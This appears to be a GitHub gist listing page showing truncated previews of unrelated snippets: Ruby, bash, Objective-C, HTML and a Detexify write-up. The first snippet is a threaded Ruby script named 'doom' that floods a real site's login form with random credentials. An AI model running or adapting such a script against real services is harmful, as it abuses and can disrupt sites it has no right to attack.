Skip to content

Instantly share code, notes, and snippets.

require 'mechanize'
def r; (0...10).map { (c = [('0'..'9'),('A'..'Z'),('a'..'z')].map {|r| r.to_a}.flatten)[rand(c.size)] }.join end
cnt = 0
doom = lambda do
Thread.new do
WWW::Mechanize.new.get('http://databa.be/') do |p|
p.form_with(:action => '/?login_attempt=1') do |f|
f.email = "#{r}@#{r}.com"
f.pass = r
end.click_button rescue "Fuck you!"
require 'open-uri'
require 'cgi'
require 'restclient'
require 'rmagick'
MATHTRAN = "http://www.mathtran.org/cgi-bin/mathtran"
def get tex
RestClient.get("#{MATHTRAN}?tex=#{CGI::escape(tex)}")
end
@kirel
kirel / .bashrc
Created July 8, 2009 21:26 — forked from defunkt/.bashrc
# $ tweet Hi mom!
#
# Put this in ~/.bashrc or wherever.
# If it doesn't work, make sure your ~/.netrc is right
#
# (Thanks to @anildigital and @grundprinzip for curl-fu)
function tweet {
curl -n -d status="$*" https://twitter.com/statuses/update.xml --insecure &> /dev/null
echo "tweet'd"
@kirel
kirel / draft.markdown
Created July 19, 2009 12:01
Detexify explained

Preface

This is an overview over the inner workings of Detexify. Extended knowlege in pattern recognition or machine learning is not necessary as I will explain some basics but understanding of linear algebra will definitely help. I have to note that I am not an expert, either. I more or less stumbled into this because of this project. Experts in this field may safely skip the first section.

What's the problem?

CGSize imageSize = image.size;
CGSize targetSize = CGSizeMake(36.0, 36.0);
CGFloat scaleFactor = 1.0;
CGFloat scaledWidth = imageSize.width;
CGFloat scaledHeight = imageSize.height;
CGPoint scaledOrigin = CGPointMake(0.0,0.0);
CGFloat widthFactor = targetSize.width / imageSize.width;
CGFloat heightFactor = targetSize.height / imageSize.height;
// only scale if larger than target
if ((image.size.width > targetSize.width) || (image.size.height > targetSize.height)) {
module Zweitag
# following migration needed
#
# class AddResetCodeToUser < ActiveRecord::Migration
# def self.up
# add_column :users, :reset_code, :string
# end
#
# def self.down
# remove_column :users, :reset_code
<html>
<head>
<title>Page Title</title>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
<style type="text/css" media="screen">
#inner, .scrolling {
margin:0;
padding:0;
}
#outer {
class Array
def delete_at_random l
res = []
l.times { res << delete_at(rand(size)) }
res
end
end
if __FILE__ == $0
require "test/unit"
class Array
def random_slice lenght
values_at(*(1..lenght).inject([]){|a,_|a.include?(r=rand(size))?redo:a<<r})
end
end
class Array
def random_slice length
values_at(*(1..length).inject([]){|a,_|a.include?(r=rand(size))?redo:a<<r})
end
end